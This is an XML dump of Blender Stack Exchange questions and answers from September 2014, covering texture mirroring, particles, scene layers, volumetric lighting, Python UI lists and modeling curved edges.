  <row Id="15910" PostTypeId="1" CreationDate="2014-09-16T17:17:47.377" Score="1" ViewCount="1372" Body="&lt;p&gt;Everything looks great when orbiting 3D, the text on my texture boxes looks great using cycles.  But when I bake, or render a image or movie,... the image/text gets flipped horizontally.  I cannot find any help on this anywhere.  Here's hoping you'll help.&#xA;Here is a movie on vimeo showing my mirrored results... &#xA;&lt;a href=&quot;https://vimeo.com/62238175&quot; rel=&quot;nofollow&quot;&gt;https://vimeo.com/62238175&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6070" LastActivityDate="2014-12-15T23:21:03.383" Title="Mirrored (flipped horizontally) after rendering image or movie" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15911" PostTypeId="1" CreationDate="2014-09-16T17:40:07.120" Score="2" ViewCount="1046" Body="&lt;p&gt;I've created a particle system (grass), converted the particles and moved them to another layer to get the grass as separate objects. Now I want to join them by &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;j&lt;/kbd&gt;. However, when I select two grass blades and press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;J&lt;/kbd&gt; additional blades appear. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What information do i need to provide?&lt;/p&gt;&#xA;" OwnerUserId="6072" LastEditorUserId="2217" LastEditDate="2014-09-17T16:29:04.143" LastActivityDate="2014-09-17T16:29:04.143" Title="When I join particles they somehow multipy" Tags="&lt;objects&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15912" PostTypeId="2" ParentId="15901" CreationDate="2014-09-16T17:41:27.220" Score="-2" Body="&lt;p&gt;It looks like the window is either maximized or blender is running in fullscreen mode.&lt;/p&gt;&#xA;Did you try &lt;kbd&gt;CTRL&lt;/kbd&gt; + down-arrow or &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;F11&lt;/kbd&gt;?&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-09-16T17:41:27.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15913" PostTypeId="2" ParentId="15909" CreationDate="2014-09-16T18:06:11.747" Score="0" Body="&lt;p&gt;I don't really know what's wrong, but appending all the objects to a new file works; Objects are counted again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new File, By going to the Header&gt;File&gt;New or pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;N&lt;/kbd&gt;.&#xA;Then go to Header&gt;File&gt;Append or press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F1&lt;/kbd&gt;, locate your &lt;code&gt;*.blend&lt;/code&gt; file, click it, then go to &lt;code&gt;Object&lt;/code&gt; and select the objects you want to import to the new file.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-09-16T18:06:11.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15914" PostTypeId="2" ParentId="15910" CreationDate="2014-09-16T19:02:04.990" Score="1" Body="&lt;p&gt;Maybe a UV problem.&#xA;Try to select the UV face that is flipped and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; to mirror, then press &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Y&lt;/kbd&gt; to select the mirror direction.&lt;/p&gt;&#xA;" OwnerUserId="6052" LastEditorUserId="5705" LastEditDate="2014-12-15T23:21:03.383" LastActivityDate="2014-12-15T23:21:03.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15915" PostTypeId="2" ParentId="15909" CreationDate="2014-09-16T19:08:17.727" Score="5" Body="&lt;p&gt;Only objects which are in visible &lt;em&gt;Scene layers&lt;/em&gt; are counted in the info header.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the difference between &lt;em&gt;Scene layers&lt;/em&gt; and &lt;em&gt;View layers&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;View layers&lt;/em&gt; are set in &lt;em&gt;3D view &gt; Header&lt;/em&gt;, and are independent between different 3D view editors. Only objects in the the current 3D view's view layers are shown in that 3D view.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Scene layers&lt;/em&gt; are set in &lt;em&gt;Properties &gt; Renderlayers &gt; Layer &gt; Scene&lt;/em&gt;, and control the visibility of objects for the enter scene. This visibility is used for scene-wide operations such as renders and exports.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By default these two layer sets are locked together so that they are always set to the same layers, however this option is disabled in your file (&lt;code&gt;1&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either re-enable this option, or set the scene layers to match your view layers in the header of the 3D view (&lt;code&gt;2&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1g2j4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-16T19:21:18.217" LastActivityDate="2014-09-16T19:21:18.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15916" PostTypeId="1" CreationDate="2014-09-16T19:30:34.737" Score="0" ViewCount="57" Body="&lt;p&gt;I seem to be a little ignorant about linking node groups. When I try to use node groups from other files in a project I'm working on, for some reason in the materials preview box the material shows up as black instead of what it should be (in this case a shiny metal). The group has obviously been set up correctly since it worked in its native file, but when I try to use it in my project after linking the two it doesn't show up correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's anything I can offer to help solve this problem then please tell me what to do, but I hope this is simple enough that someone with more knowledge will know exactly what the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file : &lt;a href=&quot;http://www.pasteall.org/blend/31640&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/31640&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5557" LastEditorUserId="5557" LastEditDate="2014-09-16T19:37:26.690" LastActivityDate="2014-09-16T19:37:26.690" Title="Linked node groups appear as black in preview and final render" Tags="&lt;nodes&gt;&lt;groups&gt;" AnswerCount="0" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="15917" PostTypeId="1" AcceptedAnswerId="16049" CreationDate="2014-09-16T20:08:26.967" Score="2" ViewCount="2654" Body="&lt;p&gt;So I'm having some trouble wrapping my head around UI lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a custom property on my object that stores a list of data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob[&quot;zones&quot;] = [{&quot;id&quot;: 1, &quot;name&quot;: &quot;foo&quot;, ...}, {[...]}]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to read all of the &lt;em&gt;name&lt;/em&gt; properties into the UI list, but can't figure out the best way to do it. There's currently a placeholder list box based off of the example template for material slots in my panel, but that's as far as I've gotten.&lt;/p&gt;&#xA;" OwnerUserId="6073" LastEditorUserId="2217" LastEditDate="2014-09-17T16:42:06.940" LastActivityDate="2017-01-08T19:08:45.450" Title="Populate a list with custom property dictionary data" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15919" PostTypeId="1" CreationDate="2014-09-16T21:18:51.953" Score="2" ViewCount="2039" Body="&lt;p&gt;Some weeks ago I downloaded Blender 2.71 (Win64) from the official website. The version I was using before was the 2.69, which didn´t give me any problem. But the newest version wont let me use the render preview in cycles, showing me a purple screen instead. Firstly I thought the problem was on the version, but today I installed the program in some friend´s computer and works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have windows 7 (the same OS as my friends), Acer Aspire, and just formatted it. The blender render lets me use the render view though and I can render images (both with f12 and on the render options) in cycles. I have tried both win32 and win 64, as well as the portable and the installable versions. Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The scene of the image is the default one, with only the cube, the camera and the point lamp on display. The sky has no texture, just the default solid grey. The problem is that the whole viewport turns purple, which could mean that &lt;strong&gt;it´s not a missing textures issue.&lt;/strong&gt; I think that the problem might lay on the graphic drivers, but I don´t know what to do. I really hope the next blender version or ATI actualization may fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gOSq2.jpg&quot; alt=&quot;Purple screen appearing as I click the render preview&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6074" LastEditorUserId="6074" LastEditDate="2014-09-21T19:46:00.410" LastActivityDate="2014-10-07T20:17:15.650" Title="Blender 2.71 Cycles render preview graphic purple (no missing textures)" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15920" PostTypeId="1" AcceptedAnswerId="15921" CreationDate="2014-09-16T21:50:10.033" Score="4" ViewCount="3018" Body="&lt;p&gt;Is it possible to create a holographic lighting in cycles? This is possible In the Blender Internal render engine, but I'm not going for linking lamps. Here is what I mean (the light that is holding the sphere inside it) - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xeZXi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-09-16T21:58:02.467" LastActivityDate="2014-09-16T22:34:31.183" Title="Holographic lighting in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15921" PostTypeId="2" ParentId="15920" CreationDate="2014-09-16T21:58:17.700" Score="5" Body="&lt;p&gt;Yes, this is possible using volumetrics:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sgady.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Method 1:&lt;/h1&gt;&#xA;&lt;p&gt;Using a cube to scatter light emitted from a spot lamp.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a cube and give it a volume scatter material:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xic30.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a spot lamp:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jUzEE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Method 2:&lt;/h1&gt;&#xA;&lt;p&gt;You could also fake this by modeling the cone, then using a volumetric gradient for the falloff:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AOGe5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;It won't be as physically accurate or as flexible, but it will be less noisy:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/otyl0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31643&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt; (for both methods)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-16T22:34:31.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15922" PostTypeId="1" CreationDate="2014-09-16T23:40:37.990" Score="0" ViewCount="297" Body="&lt;p&gt;I am using MouseLook.py to make a game in BGE but I noticed that over time the camera will &quot;roll&quot; from left to right, my idea was to continually set the rotation on the cameras local axis to 0, but I realized that I have no Idea how to do this.&lt;/p&gt;&#xA;" OwnerUserId="6077" LastEditorUserId="599" LastEditDate="2014-09-17T06:37:47.943" LastActivityDate="2014-09-17T06:37:47.943" Title="How to set camera rotation on local Z axis to 0" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15923" PostTypeId="1" CreationDate="2014-09-16T23:41:49.350" Score="0" ViewCount="2744" Body="&lt;p&gt;I have been designing a defense tower. I have a sphere that rotates around 360deg as it's default animation. I added two cylinders to it, one being the base for the guns, and the other being the actual gun. I plan to add another animation to as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the gun cylinder(s) &quot;Cylinder.003&quot; are linked somehow. I used &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;d&lt;/kbd&gt; to duplicate the cylinder and I have 2 of the exact same cylinder. When I try to make my animation, both cylinders move, but I only want one to move at a single time. If anyone can tell me how to &quot;unlink&quot; these &quot;linked&quot; objects, it would be much appreciated. I am stuck on this project until I can unlink it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6078" LastEditorUserId="599" LastEditDate="2014-09-17T01:09:23.473" LastActivityDate="2015-09-12T19:48:33.287" Title="Duplicated objects copy animation" Tags="&lt;animation&gt;&lt;linked-data&gt;" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15924" PostTypeId="2" ParentId="15917" CreationDate="2014-09-16T23:43:50.240" Score="2" Body="&lt;p&gt;If you want UIList access you are going to have to create a Collection property (See &lt;code&gt;bpy.props&lt;/code&gt;), See how rigify addon does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you'll have to use the higher level collection API functions (instead of assigning a custom-property like this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Would be good to make a simple example script for this answer, but reading &lt;strong&gt;rigify&lt;/strong&gt; you can see how its done too - for now hope this helps)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-09-16T23:43:50.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15925" PostTypeId="1" CreationDate="2014-09-16T23:54:23.597" Score="5" ViewCount="2471" Body="&lt;p&gt;Can particle object color and alpha be changed in Blender Internal Render?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit for Clarity 6 months later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Cycles has this practical feature Particle Info Node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/er7ny.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Blender Internal appears not to have an equivalent feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Internal.  Is it easy to change dynamically, based on strand/particle mapping, halo particle size and opacity. Thus halos of different ages will have different opacity and sizes.   Halo and Object are different choices for particles on the particles pane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to achieve a similar color and transparency control with object particles based on particle age?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Failed attempts to achieve goal follow&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have changed the opacity of a particle halo with a second material with a texture on the emitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to change the opacity of a regular particle object, the material selection is grayed in the emitter particle panel.&lt;br&gt;&#xA;I added a material and texture using the strand/particle mapping to the particle object.&#xA;The particle object was rendered, but the material failed and did not achieve my desired results.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-04-02T16:48:20.357" LastActivityDate="2015-09-26T07:50:17.290" Title="Can particle object color and alpha be controlled by Particle Age (Blender Internal Render)?" Tags="&lt;materials&gt;&lt;particles&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15926" PostTypeId="2" ParentId="15923" CreationDate="2014-09-17T00:07:54.860" Score="0" Body="&lt;p&gt;I may not understand your question exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want independent motion of visual object meshes they should be separate blender object meshes with 3 separate names in Object Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know how experienced you are.  I am speaking in a less experienced voice now.&#xA;Be aware of your mode ... Edit Mode to move vertices or Object mode to move a whole mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the worst case I would delete a simple model and start again if you have just a little time investment. Do not delete hours of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can later have parent relationships to form a mechanical connection.&#xA;(This would be the simplest design for the time being, lets skip armatures for now)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may not understand your question exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I modeled a simple faucet I might have 3 objects meshes.  The water spout and right cold water handle and a left hot water handle.  I can click on 3 objects and each would have a different name.  I would be in object mode in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not be in edit mode ... because I would he adding to the same mesh the whole time.  If you have put more than one structure in a mesh Blender can separate those items into new object meshes.  To recover from such a situation you would be in edit mode ... select the vertices you needed and choose the menus Mesh/Vertices/Separate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are edit the shape of one mesh and you see the other mesh change shape as well .. you must unlink the meshes datablock.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-09-17T00:34:25.443" LastActivityDate="2014-09-17T00:34:25.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15927" PostTypeId="1" AcceptedAnswerId="15928" CreationDate="2014-09-17T00:11:11.190" Score="2" ViewCount="981" Body="&lt;p&gt;Is it possible to make layout changes in the interface of blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do:&#xA;My aim is to code an operator which removes all unnessesary areas or regions like the 'HEADER' of some areas or the 'INFO' area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have taken a look into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# areas[0] is 'PROPERTIES'&#xA;# regions[0] is 'HEADER'&#xA;bpy.data.screens['Scripting'].areas[0].regions[0].heigth = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it ends with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttributeError: bpy_struct: attribute &quot;height&quot; from &quot;Region&quot; is read-only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get my values into these variables?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2014-09-17T00:46:54.567" Title="Screen layout with python scripting possible" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15928" PostTypeId="2" ParentId="15927" CreationDate="2014-09-17T00:32:35.760" Score="3" Body="&lt;p&gt;No, currently the screen layout/geometry is read-only from Python's perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Can only be edited via interactive operators).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change space types.&lt;/li&gt;&#xA;&lt;li&gt;Change screens.&lt;/li&gt;&#xA;&lt;li&gt;Change scenes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But not resize spaces/regions.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-09-17T00:32:35.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15930" PostTypeId="1" CreationDate="2014-09-17T00:55:05.923" Score="2" ViewCount="71" Body="&lt;p&gt;I'm making a video with Blender's video editing feature, and I was wondering if blender lets you listen to a sound file while its in the file browser, before you insert it into the sequencer.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="2217" LastEditDate="2014-09-17T16:53:32.173" LastActivityDate="2014-09-17T16:53:32.173" Title="Hear Sound File in File Browser?" Tags="&lt;audio&gt;&lt;file-browser&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-10-11T20:20:03.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="15931" PostTypeId="2" ParentId="15923" CreationDate="2014-09-17T01:00:27.903" Score="1" Body="&lt;p&gt;It sounds to me as if you failed to separate the two cylinders into separate objects when you duplicated them with &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;D&lt;/kbd&gt;. Select one of the cylinders in the object &quot;cylinder.003&quot;, and separate it from the other by pressing &lt;kbd&gt;P&lt;/kbd&gt; key with the cylinder selected, and choosing from the context menu &lt;em&gt;by selecton&lt;/em&gt;. This will give you another cylinder object (probably cylinder.004, but it might be different, which you can rename to &quot;gun 2&quot;, or some such (and while on the topic, I'd advise renaming cylinder.003, too.) This will let you animate both of the two guns independently.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="2217" LastEditDate="2014-09-17T16:46:02.460" LastActivityDate="2014-09-17T16:46:02.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15932" PostTypeId="2" ParentId="15888" CreationDate="2014-09-17T01:11:41.280" Score="9" Body="&lt;p&gt;This was the first Google result, and I came here looking for a Cycles answer but gandalf3's reply helped me realize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, on Material &gt; Settings, change the alpha value (below Viewport Color)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JJq4p.jpg&quot; alt=&quot;&quot;&gt;&#xA;Then, on Object &gt; Display, make sure to check Transparency&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NvYBY.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For wireframe display it is the same method as gandalf3's answer.&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2014-09-17T01:11:41.280" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15933" PostTypeId="1" AcceptedAnswerId="15934" CreationDate="2014-09-17T01:37:54.107" Score="1" ViewCount="190" Body="&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=e16c8uaCwzY&amp;amp;t=10m0s&quot; rel=&quot;nofollow noreferrer&quot;&gt;In this tutorial&lt;/a&gt;, the author says to set the view to wireframe at 10:08. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender 2.7, the menu looks slightly different. When I set to 'wireframe' I do not see the same results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A6ZsC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish what the author is trying to do here? &lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="2217" LastEditDate="2014-09-17T16:54:26.817" LastActivityDate="2014-09-17T16:54:26.817" Title="Set wireframe only view" Tags="&lt;3d-view&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15934" PostTypeId="2" ParentId="15933" CreationDate="2014-09-17T01:41:37.373" Score="1" Body="&lt;p&gt;That panel was shuffled around a bit since the tutorial was made. The option you want is now called &lt;em&gt;Maximum draw type&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2N9vk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure &lt;em&gt;Optimal display&lt;/em&gt; is enabled on the subsurf modifier.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-17T01:41:37.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15935" PostTypeId="1" AcceptedAnswerId="15938" CreationDate="2014-09-17T02:46:38.533" Score="5" ViewCount="6792" Body="&lt;p&gt;I'm new to blender and trying to model the blade of my helicopter and can't figure out how to make an edge curved (for the red tip and selected edge). The object is a plane, with one loop cut. I attempted making a bevel &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;B&lt;/kbd&gt;, but nothing happens (A dotted line appears attached to the cursor, moving does nothing, left-clicking does nothing).  also I cant add a &lt;em&gt;curve&lt;/em&gt; modifier, just says its disabled. What is the correct way to model this? &lt;img src=&quot;https://i.stack.imgur.com/UR4ik.png&quot; alt=&quot;blade&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6079" LastEditorUserId="2217" LastEditDate="2014-09-17T16:58:00.630" LastActivityDate="2015-04-06T01:58:21.050" Title="Modeling a curve edge of a plane" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15936" PostTypeId="1" CreationDate="2014-09-17T03:09:25.347" Score="2" ViewCount="995" Body="&lt;p&gt;I have two armature, each has the same bone structure, but the bones' location, length, and rotation is different, how to write python script to modify first armature, make first same with the second?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to copy the second Armature's bone position into the first one's pose mode. Not  copy in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try these code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;restPoseBone = bpy.data.objects[&quot;Armature&quot;].pose.bones[&quot;Bip01&quot;]&#xA;otherPoseBone = bpy.data.objects[&quot;Armature2&quot;].pose.bones[&quot;Bip01&quot;]&#xA;restPoseBone.length = otherPoseBone.length&#xA;restPoseBone.rotation_quaternion = ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how to calculate the rotation_quaternion for the pose bone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a demo blender file, I want to copy &quot;Armature2&quot; edit mode position to &quot;Armature&quot; pose mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;testArmature.blend &#xA;&lt;a href=&quot;http://pasteall.org/blend/31724&quot; rel=&quot;nofollow&quot;&gt;http://pasteall.org/blend/31724&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6081" LastEditorUserId="6081" LastEditDate="2014-09-22T08:36:29.630" LastActivityDate="2015-01-20T11:49:53.133" Title="compare two same armature structure, rotate first armature's bone to the second position" Tags="&lt;python&gt;&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15937" PostTypeId="2" ParentId="15935" CreationDate="2014-09-17T03:15:01.533" Score="5" Body="&lt;p&gt;You can try creating your object as a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;curve&lt;/strong&gt;&lt;/a&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TkkTj.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make it a 2d curve, fill it and give it some bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5COv5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qELSf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might choose at this point to convert your curve into a mesh using &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; or keep working with your object as a curve...&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3127" LastEditDate="2014-09-17T14:36:14.213" LastActivityDate="2014-09-17T14:36:14.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15938" PostTypeId="2" ParentId="15935" CreationDate="2014-09-17T03:59:51.017" Score="8" Body="&lt;p&gt;The curve modifier is not aimed for this. And Bevel tool doesn't work like this, either. The best way to control planar curvature is by using curves, which may not well benefit topology, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend to use Subsurf modifier + edge creases. Add some loop cuts first, then with a few tweaks on the vertex position (&lt;kbd&gt;G&lt;/kbd&gt;) and adjust crease weight (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;) on some edges, you can make whatever you want with nice topology. I'm sure you also want to bend it later, so topology is important to consider in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OLa4T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:58:21.050" LastActivityDate="2015-04-06T01:58:21.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
